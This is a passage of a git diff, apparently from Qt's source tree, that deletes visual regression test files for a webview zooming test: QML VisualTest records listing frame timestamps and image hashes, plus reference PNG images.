"cbd63ec868578e295a83170f42b23678" - } - Frame { - msec: 464 - hash: "2ed9d0e09b61dee8b2703e580007d7a5" - } - Frame { - msec: 480 - hash: "92fa2d9ef05140eb9d0fcf78b55f202e" - } - Frame { - msec: 496 - hash: "9a3f9dc04a900020f0e488309d7b4757" - } - Frame { - msec: 512 - hash: "93b4876c3e185ff4875a7447b0bf4f0f" - } - Frame { - msec: 528 - hash: "41b40e36f77d04e62f72ad34aa50709a" - } - Frame { - msec: 544 - hash: "2ea69aeb32fee61b61aa9c4efb2834bf" - } - Frame { - msec: 560 - hash: "0971ac1e05ea2ba387c78d4d103f5ea1" - } - Frame { - msec: 576 - hash: "98e46dff678f293fd6a4e9313ab3aec7" - } - Frame { - msec: 592 - hash: "82b94393071d6c32dd8028e1ee69e7fb" - } - Frame { - msec: 608 - hash: "240df67aa72a24546eb6e043e0d3d205" - } - Frame { - msec: 624 - hash: "56c4113cc341c254ccab66f3bc313154" - } - Frame { - msec: 640 - hash: "20d758c1537ed1a9aff657414b50926c" - } - Frame { - msec: 656 - hash: "ae252d835a05e01c2a12ae820335049a" - } - Frame { - msec: 672 - hash: "4d53256fbb012e738ba3868e2482250d" - } - Frame { - msec: 688 - hash: "261a341cab38986fb2f53b8e430f04a3" - } - Frame { - msec: 704 - hash: "1030f795d310f742ba491a2a90ff52d8" - } - Frame { - msec: 720 - hash: "59d24ebfedd2a87bdbd755d06c4361d2" - } - Frame { - msec: 736 - hash: "a6eaa480b3f93d33ae23bb36b7691b92" - } - Frame { - msec: 752 - hash: "cb6cf1e6e89da3fcbad323f744aef18d" - } - Frame { - msec: 768 - hash: "33a4f07cf7f5d16f006541c61ae2e4ee" - } - Frame { - msec: 784 - hash: "6e857b106486ea0aaa5321d4a7a07eae" - } - Frame { - msec: 800 - hash: "0f80edaf3eecf7a8c015d3fcecc0a494" - } - Frame { - msec: 816 - hash: "24b45d00d70904694c30ebd422c739ce" - } - Frame { - msec: 832 - hash: "c0ca66fefb19294852b9be0c4ba36481" - } - Frame { - msec: 848 - hash: "047846d243e7613193a8ddd526c4268e" - } - Frame { - msec: 864 - hash: "ca85f90e450ccda6b76e6a29a3187a63" - } - Frame { - msec: 880 - hash: "fcd803f5640d054190c2ddc9a6406bb9" - } - Frame { - msec: 896 - hash: "f81152b8a464bfa8343f52efcb0c8b8c" - } - Frame { - msec: 912 - hash: "e86be73d83699584dca986dfdb030b36" - } - Frame { - msec: 928 - hash: "d9798e4ebaf72c35b19a56b336d2ea93" - } - Frame { - msec: 944 - hash: "460f13d8e05b529c0e4fba39b1449ff1" - } - Frame { - msec: 960 - image: "resolution.0.png" - } - Frame { - msec: 976 - hash: "8b2f13580c6de9ec231809330d2d0362" - } - Frame { - msec: 992 - hash: "94a2cc520340573557e6a310f2ea125e" - } - Frame { - msec: 1008 - hash: "a8df78ab2e800349ec887ea6b1f5dcb8" - } - Frame { - msec: 1024 - hash: "0f3a56dbe26d453847ed4847c0e81d1a" - } - Frame { - msec: 1040 - hash: "96c89325862a982235b4b75922ec4669" - } - Frame { - msec: 1056 - hash: "ead6352a4ca47da59422e8d6a5844aa4" - } - Frame { - msec: 1072 - hash: "b50a6b14f15882e2c1ae6e3babeecdf8" - } - Frame { - msec: 1088 - hash: "2f32245c3388b86194e8183a290e99b8" - } - Frame { - msec: 1104 - hash: "2b54d49d30ccbf11ccb5ba8d62ba7d83" - } - Frame { - msec: 1120 - hash: "495b25d87cb6d1d4bdea4d5ec62c698e" - } - Frame { - msec: 1136 - hash: "3d45b061939783b6359fa4cdb908ecc0" - } - Frame { - msec: 1152 - hash: "e9e601c2a65a09b6354fff2c162106d6" - } - Frame { - msec: 1168 - hash: "8cfba8a724e85403b573caf7bbac9d83" - } - Frame { - msec: 1184 - hash: "5910765354645b724e14681cbdea227e" - } - Frame { - msec: 1200 - hash: "4358af7f2ccfc0919614351bfd5a7405" - } - Frame { - msec: 1216 - hash: "032e064336b458a6de03fdc98684cc34" - } - Frame { - msec: 1232 - hash: "c81d87bf83ee7e834a4b15dd103f7082" - } - Frame { - msec: 1248 - hash: "9d4416b55ed3b9e45a2314e9be5a5f2d" - } - Frame { - msec: 1264 - hash: "5b96da1a52a0413f9e8edbc9291a2502" - } - Frame { - msec: 1280 - hash: "aaa4008281ebc60b15616c818816e195" - } - Frame { - msec: 1296 - hash: "81ebf882aeb89648300dfc2e8e2cf11b" - } - Frame { - msec: 1312 - hash: "4e686e6cee12902f92e0ece915386fb3" - } - Frame { - msec: 1328 - hash: "6ff8d9bd6ec4dce414cdc7330646156e" - } - Frame { - msec: 1344 - hash: "dac6334e8b221527ef74b4f93eeef7c3" - } - Frame { - msec: 1360 - hash: "e58dbf419d1831e001e802600803aaa5" - } - Frame { - msec: 1376 - hash: "e8685f9b12c9ccb9d0e471946f1f6f9c" - } - Frame { - msec: 1392 - hash: "0936715ff8d38c2c813ebef0683a3246" - } - Frame { - msec: 1408 - hash: "37ad0a5532af8b083a7d4c4b044075ca" - } - Frame { - msec: 1424 - hash: "52ae25414d353d994cba36918644949a" - } - Frame { - msec: 1440 - hash: "07719485f9a7d0012eb0f3f211f0f21b" - } - Frame { - msec: 1456 - hash: "2d1a4f2c8d4a8d6316a31a81a2d20c61" - } - Frame { - msec: 1472 - hash: "3b279fb9e7b3efe05becc1651ba59493" - } - Frame { - msec: 1488 - hash: "4b9c126dcdf499f9de4e09d4f6ab86bf" - } - Frame { - msec: 1504 - hash: "6a1b8d8ea46949cb65e8f4155ab94819" - } - Frame { - msec: 1520 - hash: "6dbd2106b91ffbbb8a845e6cddbd47d7" - } - Frame { - msec: 1536 - hash: "8244eda92302f2b5cff01f05d438bf20" - } - Frame { - msec: 1552 - hash: "f939bd80ae865e365e554a532ade38f5" - } - Frame { - msec: 1568 - hash: "92d135616eee6737333b3d86d0aa5956" - } - Frame { - msec: 1584 - hash: "ca75854d6e5a77c8e609d65971b5671a" - } - Frame { - msec: 1600 - hash: "b0a113800cd05768b57bac6b9a338b1d" - } - Frame { - msec: 1616 - hash: "7af1a2aa6a201e36c3a969be4330af04" - } - Frame { - msec: 1632 - hash: "e54e8a2cfb0e6678b2a7cc64b8ae08bc" - } - Frame { - msec: 1648 - hash: "5d212c7efd9cf7d3eb5219b0bbe766d7" - } - Frame { - msec: 1664 - hash: "f4f2c95380c0f76c9e89820cdbeb5b31" - } - Frame { - msec: 1680 - hash: "b8eefbf5ade1a6b9eef9608f66a46474" - } - Frame { - msec: 1696 - hash: "d699ace9babbb152aad2fa852114c099" - } - Frame { - msec: 1712 - hash: "ceb3dea0d2b93cc5882a2b38ab3d1b95" - } - Frame { - msec: 1728 - hash: "08175810bfb80e1c5816b0d0aebbac4a" - } - Frame { - msec: 1744 - hash: "86abce93f50e7e7ebbd90690cfb20dd2" - } - Frame { - msec: 1760 - hash: "2918979f2682bd32beb5eaf7ecb3e463" - } - Frame { - msec: 1776 - hash: "b165ab96b0d51d41578bf99cbf7f6d02" - } - Frame { - msec: 1792 - hash: "d56cfdb2c65372cb36aeb13fd9c73deb" - } - Frame { - msec: 1808 - hash: "c53f0e4dc8204e5892ed4f367a6bade3" - } - Frame { - msec: 1824 - hash: "b3ae62e13149160f3695ed5c116411aa" - } - Frame { - msec: 1840 - hash: "057e4a0428ea2ff9893becd40e6d2977" - } - Frame { - msec: 1856 - hash: "10c050131093cc0d3f4b80c44eb1218b" - } - Frame { - msec: 1872 - hash: "17ce5a6dace37f4eb316f37ea26a8a2c" - } - Frame { - msec: 1888 - hash: "6e00c7e74bfaed5cf06aba54c8b73e57" - } - Frame { - msec: 1904 - hash: "5a03b1b698ca28d2afd9c67aef3bc2e9" - } - Frame { - msec: 1920 - image: "resolution.1.png" - } - Frame { - msec: 1936 - hash: "0fab102a33521e8893afdb6a11a3c5c9" - } - Frame { - msec: 1952 - hash: "232e8f1b060ef55e37a372bec4435d11" - } - Frame { - msec: 1968 - hash: "2107724eac0d1b8735060876f80d303a" - } - Frame { - msec: 1984 - hash: "cf5d12d2707975ad364750d5ba787944" - } - Frame { - msec: 2000 - hash: "2457c88828c2cb39feb1d34556077139" - } - Frame { - msec: 2016 - hash: "5f08d6dab8199b3f0f57d32cf2da4d67" - } - Frame { - msec: 2032 - hash: "2457c88828c2cb39feb1d34556077139" - } - Frame { - msec: 2048 - hash: "cf5d12d2707975ad364750d5ba787944" - } - Frame { - msec: 2064 - hash: "2107724eac0d1b8735060876f80d303a" - } - Frame { - msec: 2080 - hash: "232e8f1b060ef55e37a372bec4435d11" - } - Frame { - msec: 2096 - hash: "0a93c515cd328978ebd8103539a2fd63" - } - Frame { - msec: 2112 - hash: "63d6c7beac12e3bd83f9ef58c233c7d2" - } - Frame { - msec: 2128 - hash: "5a03b1b698ca28d2afd9c67aef3bc2e9" - } - Frame { - msec: 2144 - hash: "6e00c7e74bfaed5cf06aba54c8b73e57" - } - Frame { - msec: 2160 - hash: "17ce5a6dace37f4eb316f37ea26a8a2c" - } - Frame { - msec: 2176 - hash: "10c050131093cc0d3f4b80c44eb1218b" - } - Frame { - msec: 2192 - hash: "057e4a0428ea2ff9893becd40e6d2977" - } - Frame { - msec: 2208 - hash: "b3ae62e13149160f3695ed5c116411aa" - } - Frame { - msec: 2224 - hash: "c53f0e4dc8204e5892ed4f367a6bade3" - } - Frame { - msec: 2240 - hash: "d56cfdb2c65372cb36aeb13fd9c73deb" - } - Frame { - msec: 2256 - hash: "b165ab96b0d51d41578bf99cbf7f6d02" - } - Frame { - msec: 2272 - hash: "2918979f2682bd32beb5eaf7ecb3e463" - } - Frame { - msec: 2288 - hash: "86abce93f50e7e7ebbd90690cfb20dd2" - } - Frame { - msec: 2304 - hash: "08175810bfb80e1c5816b0d0aebbac4a" - } - Frame { - msec: 2320 - hash: "ceb3dea0d2b93cc5882a2b38ab3d1b95" - } - Frame { - msec: 2336 - hash: "d699ace9babbb152aad2fa852114c099" - } - Frame { - msec: 2352 - hash: "b8eefbf5ade1a6b9eef9608f66a46474" - } - Frame { - msec: 2368 - hash: "f4f2c95380c0f76c9e89820cdbeb5b31" - } - Frame { - msec: 2384 - hash: "5d212c7efd9cf7d3eb5219b0bbe766d7" - } - Frame { - msec: 2400 - hash: "e54e8a2cfb0e6678b2a7cc64b8ae08bc" - } - Frame { - msec: 2416 - hash: "d9408487f747ffb8eff5e1da92207285" - } - Frame { - msec: 2432 - hash: "e6b3fa1829535ac90d1548f45aadb9be" - } - Frame { - msec: 2448 - hash: "ca75854d6e5a77c8e609d65971b5671a" - } - Frame { - msec: 2464 - hash: "92d135616eee6737333b3d86d0aa5956" - } - Frame { - msec: 2480 - hash: "f939bd80ae865e365e554a532ade38f5" - } - Frame { - msec: 2496 - hash: "8244eda92302f2b5cff01f05d438bf20" - } - Frame { - msec: 2512 - hash: "6dbd2106b91ffbbb8a845e6cddbd47d7" - } - Frame { - msec: 2528 - hash: "6a1b8d8ea46949cb65e8f4155ab94819" - } - Frame { - msec: 2544 - hash: "4b9c126dcdf499f9de4e09d4f6ab86bf" - } - Frame { - msec: 2560 - hash: "3b279fb9e7b3efe05becc1651ba59493" - } - Frame { - msec: 2576 - hash: "bb40b884b56defb61ad86757fd51b9e6" - } - Frame { - msec: 2592 - hash: "07719485f9a7d0012eb0f3f211f0f21b" - } - Frame { - msec: 2608 - hash: "52ae25414d353d994cba36918644949a" - } - Frame { - msec: 2624 - hash: "37ad0a5532af8b083a7d4c4b044075ca" - } - Frame { - msec: 2640 - hash: "0936715ff8d38c2c813ebef0683a3246" - } - Frame { - msec: 2656 - hash: "e8685f9b12c9ccb9d0e471946f1f6f9c" - } - Frame { - msec: 2672 - hash: "e58dbf419d1831e001e802600803aaa5" - } - Frame { - msec: 2688 - hash: "dac6334e8b221527ef74b4f93eeef7c3" - } - Frame { - msec: 2704 - hash: "6ff8d9bd6ec4dce414cdc7330646156e" - } - Frame { - msec: 2720 - hash: "4e686e6cee12902f92e0ece915386fb3" - } - Frame { - msec: 2736 - hash: "81ebf882aeb89648300dfc2e8e2cf11b" - } - Frame { - msec: 2752 - hash: "aaa4008281ebc60b15616c818816e195" - } - Frame { - msec: 2768 - hash: "5b96da1a52a0413f9e8edbc9291a2502" - } - Frame { - msec: 2784 - hash: "9d4416b55ed3b9e45a2314e9be5a5f2d" - } - Frame { - msec: 2800 - hash: "c81d87bf83ee7e834a4b15dd103f7082" - } - Frame { - msec: 2816 - hash: "9fdf30d57c49a6644377ba40140b1969" - } - Frame { - msec: 2832 - hash: "4358af7f2ccfc0919614351bfd5a7405" - } - Frame { - msec: 2848 - hash: "5910765354645b724e14681cbdea227e" - } - Frame { - msec: 2864 - hash: "8cfba8a724e85403b573caf7bbac9d83" - } - Frame { - msec: 2880 - image: "resolution.2.png" - } - Frame { - msec: 2896 - hash: "3d45b061939783b6359fa4cdb908ecc0" - } - Frame { - msec: 2912 - hash: "495b25d87cb6d1d4bdea4d5ec62c698e" - } - Frame { - msec: 2928 - hash: "2b54d49d30ccbf11ccb5ba8d62ba7d83" - } - Frame { - msec: 2944 - hash: "2f32245c3388b86194e8183a290e99b8" - } - Frame { - msec: 2960 - hash: "b50a6b14f15882e2c1ae6e3babeecdf8" - } - Frame { - msec: 2976 - hash: "ead6352a4ca47da59422e8d6a5844aa4" - } - Frame { - msec: 2992 - hash: "96c89325862a982235b4b75922ec4669" - } - Frame { - msec: 3008 - hash: "0f3a56dbe26d453847ed4847c0e81d1a" - } - Frame { - msec: 3024 - hash: "a8df78ab2e800349ec887ea6b1f5dcb8" - } - Frame { - msec: 3040 - hash: "94a2cc520340573557e6a310f2ea125e" - } - Frame { - msec: 3056 - hash: "8b2f13580c6de9ec231809330d2d0362" - } - Frame { - msec: 3072 - hash: "5f76ef4f6b8e703fd0822859cd9a1353" - } - Frame { - msec: 3088 - hash: "460f13d8e05b529c0e4fba39b1449ff1" - } - Frame { - msec: 3104 - hash: "d9798e4ebaf72c35b19a56b336d2ea93" - } - Frame { - msec: 3120 - hash: "e86be73d83699584dca986dfdb030b36" - } - Frame { - msec: 3136 - hash: "f81152b8a464bfa8343f52efcb0c8b8c" - } - Frame { - msec: 3152 - hash: "fcd803f5640d054190c2ddc9a6406bb9" - } - Frame { - msec: 3168 - hash: "ca85f90e450ccda6b76e6a29a3187a63" - } - Frame { - msec: 3184 - hash: "047846d243e7613193a8ddd526c4268e" - } - Frame { - msec: 3200 - hash: "c0ca66fefb19294852b9be0c4ba36481" - } - Frame { - msec: 3216 - hash: "d4a075656790c4f2c50addcd2cc660b5" - } - Frame { - msec: 3232 - hash: "0f80edaf3eecf7a8c015d3fcecc0a494" - } - Frame { - msec: 3248 - hash: "6e857b106486ea0aaa5321d4a7a07eae" - } - Frame { - msec: 3264 - hash: "33a4f07cf7f5d16f006541c61ae2e4ee" - } - Frame { - msec: 3280 - hash: "cb6cf1e6e89da3fcbad323f744aef18d" - } - Frame { - msec: 3296 - hash: "a6eaa480b3f93d33ae23bb36b7691b92" - } - Frame { - msec: 3312 - hash: "59d24ebfedd2a87bdbd755d06c4361d2" - } - Frame { - msec: 3328 - hash: "1030f795d310f742ba491a2a90ff52d8" - } - Frame { - msec: 3344 - hash: "261a341cab38986fb2f53b8e430f04a3" - } - Frame { - msec: 3360 - hash: "4d53256fbb012e738ba3868e2482250d" - } - Frame { - msec: 3376 - hash: "ae252d835a05e01c2a12ae820335049a" - } - Frame { - msec: 3392 - hash: "20d758c1537ed1a9aff657414b50926c" - } - Frame { - msec: 3408 - hash: "56c4113cc341c254ccab66f3bc313154" - } - Frame { - msec: 3424 - hash: "240df67aa72a24546eb6e043e0d3d205" - } - Frame { - msec: 3440 - hash: "82b94393071d6c32dd8028e1ee69e7fb" - } - Frame { - msec: 3456 - hash: "98e46dff678f293fd6a4e9313ab3aec7" - } - Frame { - msec: 3472 - hash: "0971ac1e05ea2ba387c78d4d103f5ea1" - } - Frame { - msec: 3488 - hash: "2ea69aeb32fee61b61aa9c4efb2834bf" - } - Frame { - msec: 3504 - hash: "41b40e36f77d04e62f72ad34aa50709a" - } - Frame { - msec: 3520 - hash: "93b4876c3e185ff4875a7447b0bf4f0f" - } - Frame { - msec: 3536 - hash: "9a3f9dc04a900020f0e488309d7b4757" - } - Frame { - msec: 3552 - hash: "92fa2d9ef05140eb9d0fcf78b55f202e" - } - Frame { - msec: 3568 - hash: "2ed9d0e09b61dee8b2703e580007d7a5" - } - Frame { - msec: 3584 - hash: "cbd63ec868578e295a83170f42b23678" - } - Frame { - msec: 3600 - hash: "b9f3f08168fb55ba01e56e670db565de" - } - Frame { - msec: 3616 - hash: "a579d6324fb4bf9ac5ceaba2aa708764" - } - Frame { - msec: 3632 - hash: "4e0fd7f45e53a8d44c416eb9235ec877" - } - Frame { - msec: 3648 - hash: "f87195f2393914a0bbed9a454de01ff5" - } - Frame { - msec: 3664 - hash: "9bc9801e83267689cd2750226f2b08ce" - } - Frame { - msec: 3680 - hash: "5ddbc3bc10292bec41531e83c0921c59" - } - Frame { - msec: 3696 - hash: "4f3b79b341b63499a20f1e1e2cd979f9" - } - Frame { - msec: 3712 - hash: "e8d98ec2d13ef4324feba11be95d0735" - } - Frame { - msec: 3728 - hash: "5e3c58e2f3a57f4ea48f4315d37ed813" - } - Frame { - msec: 3744 - hash: "3f200fca4815d555f22912d9fcdc20ee" - } - Frame { - msec: 3760 - hash: "0901c99f959d6c10a0b6ea46a282d8fd" - } - Frame { - msec: 3776 - hash: "a186b8e984c999e8609472a7a5fa0610" - } - Frame { - msec: 3792 - hash: "412a630348aa44d56f36f04982035e36" - } - Frame { - msec: 3808 - hash: "011c0bcca7717b08bc53738718203f7e" - } - Frame { - msec: 3824 - hash: "e531d33ef14b58ad843a6be6d7cb0961" - } - Frame { - msec: 3840 - image: "resolution.3.png" - } - Frame { - msec: 3856 - hash: "8df8dd33eada434231332b81e03430ce" - } - Frame { - msec: 3872 - hash: "2aaa3749f93734dd203e1fea91a9f24a" - } - Frame { - msec: 3888 - hash: "dc78b09e27bbc0a2cfec83436eef4446" - } - Frame { - msec: 3904 - hash: "9053a92e343ebb79bd2831f5ab94a1b5" - } - Frame { - msec: 3920 - hash: "649ad1a3fb57fb088e4e5cfd749bf2e5" - } - Frame { - msec: 3936 - hash: "3579849956c1101000ef09949aa4c0f9" - } - Frame { - msec: 3952 - hash: "7af041898748bb5950643b057ca59eea" - } - Frame { - msec: 3968 - hash: "30a191ae899121ae22d10acee6593415" - } - Frame { - msec: 3984 - hash: "369f761053d5910e00672aa866f698ba" - } - Frame { - msec: 4000 - hash: "1f189a436cf74ae83a03c3bb63c24ec2" - } - Frame { - msec: 4016 - hash: "ac1d9c1cc13813b5e94c692a209a4e36" - } - Frame { - msec: 4032 - hash: "f0e0b5c041bcf38d8d9144d466ad74a9" - } - Frame { - msec: 4048 - hash: "38a35c94ebcf33f6720fea33821a54e1" - } - Frame { - msec: 4064 - hash: "061d139f43a3dd63daf887b82721f42f" - } - Frame { - msec: 4080 - hash: "623747b5fe99e5ffaa62f4daa3f840ef" - } - Frame { - msec: 4096 - hash: "4dd5081a387ffda296811b64b9235d7d" - } - Frame { - msec: 4112 - hash: "1598cf2fe996f99ab4c15f84d89cd7bd" - } - Frame { - msec: 4128 - hash: "30cac85bf1a622d438a64b6ccb59a8ca" - } - Frame { - msec: 4144 - hash: "114e54ae3e1493750a022f1c019e7f77" - } - Frame { - msec: 4160 - hash: "a585efc3aae3a426e6af5f4a8cc23b10" - } - Frame { - msec: 4176 - hash: "c0f315549baad93dd885d58b185e7ed7" - } - Frame { - msec: 4192 - hash: "3a00f5f034bef58ca341bf9e1056f46f" - } - Frame { - msec: 4208 - hash: "b3022d07dee989499a35aea21e07e4c1" - } - Frame { - msec: 4224 - hash: "e722464809e94fb7d8c752506f0d3ac2" - } - Frame { - msec: 4240 - hash: "82ea3d06367ce9dc582dbdbc186cc70a" - } - Frame { - msec: 4256 - hash: "359040facbe531c7f6b805b8bfc5b17a" - } - Frame { - msec: 4272 - hash: "264c7b65bae7e3945d87c17edfda6889" - } - Frame { - msec: 4288 - hash: "d941ec8e363942af02f36d4672521801" - } - Frame { - msec: 4304 - hash: "e46e145b4d07d1697c1d9efce80c80de" - } - Frame { - msec: 4320 - hash: "d8bed5c42bc5725d811db4dacdab1581" - } - Frame { - msec: 4336 - hash: "aa221160b4a11b30cb73eaa8ccaa9dfd" - } - Frame { - msec: 4352 - hash: "f411483477906d83f872b306cd021406" - } - Frame { - msec: 4368 - hash: "d9c52e4f99416fa1043a9c34a1c29f5a" - } - Frame { - msec: 4384 - hash: "ec2890446f34b8a5d47ae97ba2853d0f" - } - Frame { - msec: 4400 - hash: "6a3e6ef7d832fa7ec813b38171cb3602" - } - Frame { - msec: 4416 - hash: "6dfd75b6cb780f7d80466f3450d0b255" - } - Frame { - msec: 4432 - hash: "170774843dc6f28f51f07c445e046bd8" - } - Frame { - msec: 4448 - hash: "eab348bef656739d9723d3bd659c43ff" - } - Frame { - msec: 4464 - hash: "f06e546bb710002cdf1cefd51ffa47c4" - } - Frame { - msec: 4480 - hash: "52f7ff1348d9aa7cdf43cd81f0a71625" - } - Frame { - msec: 4496 - hash: "55a5b1befa3b7a4674a62d492b5527ea" - } - Frame { - msec: 4512 - hash: "699c093fddc6b9293a011d8d6eccd36d" - } - Frame { - msec: 4528 - hash: "b988e1ad7dc7d26ffeea8f71a69a9abf" - } - Frame { - msec: 4544 - hash: "8dea2b47492f83f961a47536a10aad0c" - } - Frame { - msec: 4560 - hash: "925ea8105779ffd801a3c62129d64bed" - } - Frame { - msec: 4576 - hash: "aa5d957c4f452b1f1c70ea672ce4a0b9" - } - Frame { - msec: 4592 - hash: "85d3ea97a1fb152ae8ad65a17693a16d" - } - Frame { - msec: 4608 - hash: "069b2bc8b86f822c5e7ceca3664e78a6" - } - Frame { - msec: 4624 - hash: "209071b7f72d8c25b9ce27c05397fe56" - } - Frame { - msec: 4640 - hash: "068dea708612620d34bd57c6affb44b1" - } - Frame { - msec: 4656 - hash: "36b53a0845220645059fed803a6ffcbc" - } - Frame { - msec: 4672 - hash: "2c84e15006a39a554eb2047bae9d4f6f" - } - Frame { - msec: 4688 - hash: "1bdab31534f4b5a7e9d27ede3e9acb57" - } - Frame { - msec: 4704 - hash: "688689eeb584b0c74f0322af35857dd5" - } - Frame { - msec: 4720 - hash: "024939fea5b6c6f9d3e26a0abf42ae3c" - } - Frame { - msec: 4736 - hash: "2efb2f47c6f0be3743f0f4dc7a66b08e" - } - Frame { - msec: 4752 - hash: "4631f3756af880693d3654c16cbe47bb" - } - Frame { - msec: 4768 - hash: "2fd77649c1e1ade97534ef530ad05612" - } - Frame { - msec: 4784 - hash: "5d13517bac111c8af49c444d41a42ea1" - } - Frame { - msec: 4800 - image: "resolution.4.png" - } - Frame { - msec: 4816 - hash: "8bd8efe405a42730304dcc120a6e718c" - } - Frame { - msec: 4832 - hash: "a83c543977e3f1dd4c020375eb3273fd" - } - Frame { - msec: 4848 - hash: "c52f38469fec77afc7f0a44b992e3d0d" - } - Frame { - msec: 4864 - hash: "af645449d6ec3f42449ffc59193aaaa4" - } - Frame { - msec: 4880 - hash: "2eb982cf754c77c109158076957775ae" - } - Frame { - msec: 4896 - hash: "9bf2fd4a4e45f302b34b7f038937d3d7" - } - Frame { - msec: 4912 - hash: "5520e309d68c8eedf76a9392714a6150" - } - Frame { - msec: 4928 - hash: "9dcd043a25e33b788729c0a0531301e7" - } - Frame { - msec: 4944 - hash: "1475b9bcfe08c66135673f4284c9bbcd" - } - Frame { - msec: 4960 - hash: "9af1f355bcf4d5f05b42040ebba75e09" - } - Frame { - msec: 4976 - hash: "8b6e04980ea60ca2ff06053d35c06881" - } - Frame { - msec: 4992 - hash: "def466e377a44afc4b2a9a9ebb258f86" - } - Frame { - msec: 5008 - hash: "18f6d6f5a3fdaee0037580df0f4f9ef0" - } - Frame { - msec: 5024 - hash: "ae2579498558f6f93489999c7c82cbcd" - } - Frame { - msec: 5040 - hash: "623d8e756c2c131150554272df231bf9" - } - Frame { - msec: 5056 - hash: "c13146576229848b8a1e1b382fbf749d" - } - Frame { - msec: 5072 - hash: "f963a399aeea1d34ec3bd30a5b991035" - } - Frame { - msec: 5088 - hash: "45a4db021ba0a53ad783c14a3b66aa38" - } - Frame { - msec: 5104 - hash: "2031618470e3bb3a3435fe0e270a15d4" - } - Frame { - msec: 5120 - hash: "f7cc01c301f29110db8364fecc8751f1" - } - Frame { - msec: 5136 - hash: "2d366fa500257ec0a12863f3637d0c47" - } - Frame { - msec: 5152 - hash: "4ba700e7f9ffba4889ca26d903a63029" - } - Frame { - msec: 5168 - hash: "329bec5e3d6a131b4bd9a056659bdb3e" - } - Frame { - msec: 5184 - hash: "48f7356707cdbcb401c135207ee38821" - } - Frame { - msec: 5200 - hash: "5314e448affe60d193d07a784035ecce" - } - Frame { - msec: 5216 - hash: "c87e98becdf99c214ad4987985b4af07" - } - Frame { - msec: 5232 - hash: "ea81d2a967b619980d7e42937ec74668" - } - Frame { - msec: 5248 - hash: "845319d4e0f6ee97697e59c606220e7a" - } -} diff --git a/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.0.png b/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.0.png deleted file mode 100644 index 4b9abb4..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.1.png b/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.1.png deleted file mode 100644 index 5ce9787..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.qml b/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.qml deleted file mode 100644 index aaa7583..0000000 --- a/tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.qml +++ /dev/null @@ -1,655 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "4e401b5ebff6e442fa108e94a5dba668" - } - Frame { - msec: 32 - hash: "c2f8551d0442d0736b71c54fc965562b" - } - Frame { - msec: 48 - hash: "4fc1ef611b24ec5737310859b12c83d3" - } - Frame { - msec: 64 - hash: "7df07aea83bc5c3213e7871854661820" - } - Frame { - msec: 80 - hash: "0ae4ee18cc675749f008b897fe35cc40" - } - Frame { - msec: 96 - hash: "0ae4ee18cc675749f008b897fe35cc40" - } - Frame { - msec: 112 - hash: "f5c917c7ca26bb916dd4df84eafc8e94" - } - Frame { - msec: 128 - hash: "0696257de0441666bd264f8db6383d15" - } - Frame { - msec: 144 - hash: "0b43fdee23346c30c60b822a20131cc3" - } - Frame { - msec: 160 - hash: "98dbd004cf4809dbc90bfa9272378644" - } - Frame { - msec: 176 - hash: "32d0e9005ebb9dfd410d348e336bcd93" - } - Frame { - msec: 192 - hash: "8a64b18006ad0bd2c373a2a9395ce52e" - } - Frame { - msec: 208 - hash: "7dc26fd658f626b8fe18545cf93dc4ec" - } - Frame { - msec: 224 - hash: "6712be93cf1ed2b7b202367418b6d2d7" - } - Frame { - msec: 240 - hash: "524840a3453af4e97ac82b559308cce3" - } - Frame { - msec: 256 - hash: "11436091b24c02af94dfa75a5fd1a001" - } - Frame { - msec: 272 - hash: "d3689b53474b4b26630d70ba01c057b4" - } - Frame { - msec: 288 - hash: "16e2b66f28ed80d80d9b5264d89624d5" - } - Frame { - msec: 304 - hash: "87636076959de7e5a0a8bd8b31354ed4" - } - Frame { - msec: 320 - hash: "a6916da6bfac27aa87d75da2bbb73f31" - } - Frame { - msec: 336 - hash: "58cfba3aae4bf54a5b445e0e34571d2d" - } - Frame { - msec: 352 - hash: "1475ae722afd169cc0c8e1fde39eb6b7" - } - Frame { - msec: 368 - hash: "14d08c2ca430631af8ede1013f4f4da0" - } - Frame { - msec: 384 - hash: "ace9db9112d147569dc0cf1a1b680d6c" - } - Frame { - msec: 400 - hash: "08bc6815601417f3731eaae398d0861d" - } - Frame { - msec: 416 - hash: "809870dfd9b05ce07170edd945348ddf" - } - Frame { - msec: 432 - hash: "5784deb0f3270cf7a0d0964cd9d31458" - } - Frame { - msec: 448 - hash: "2f06ee407e5175d4b954e31c39c9522c" - } - Frame { - msec: 464 - hash: "48a7dbed293fbbd5ea202190837a411f" - } - Frame { - msec: 480 - hash: "abf3d90803cfa12d35d2752be7ea02d8" - } - Frame { - msec: 496 - hash: "a60edcf8d792f93a839e6ddbafbf993f" - } - Frame { - msec: 512 - hash: "7e8dfe86ea0849022355b12578d4cb1a" - } - Frame { - msec: 528 - hash: "3c84122b0933ee870f178d39469e51e2" - } - Frame { - msec: 544 - hash: "25f463e91febf5b6d8819fd5010bc1c2" - } - Frame { - msec: 560 - hash: "d423a9bc912237d0f20b924849ba0cb1" - } - Frame { - msec: 576 - hash: "5bd3cc309a5fce6183654975543250b2" - } - Frame { - msec: 592 - hash: "4e401b5ebff6e442fa108e94a5dba668" - } - Frame { - msec: 608 - hash: "9a4bf1400da038f2088dd4c49403d852" - } - Frame { - msec: 624 - hash: "a37024356613bd5d678e0b2f7b8f5959" - } - Frame { - msec: 640 - hash: "4f37d72c10e51f68a2359086094da249" - } - Frame { - msec: 656 - hash: "6093bcb7673f8e58fe5a7b0143638822" - } - Frame { - msec: 672 - hash: "c272aeea2b9c450fbd732305ccc01b93" - } - Frame { - msec: 688 - hash: "6a4e2ee45b26037421e2a5f2d6ee517e" - } - Frame { - msec: 704 - hash: "d912afcbce6c9d879a07ffc3c51b36d1" - } - Frame { - msec: 720 - hash: "2578335ac6f21c8aec2c87515562c321" - } - Frame { - msec: 736 - hash: 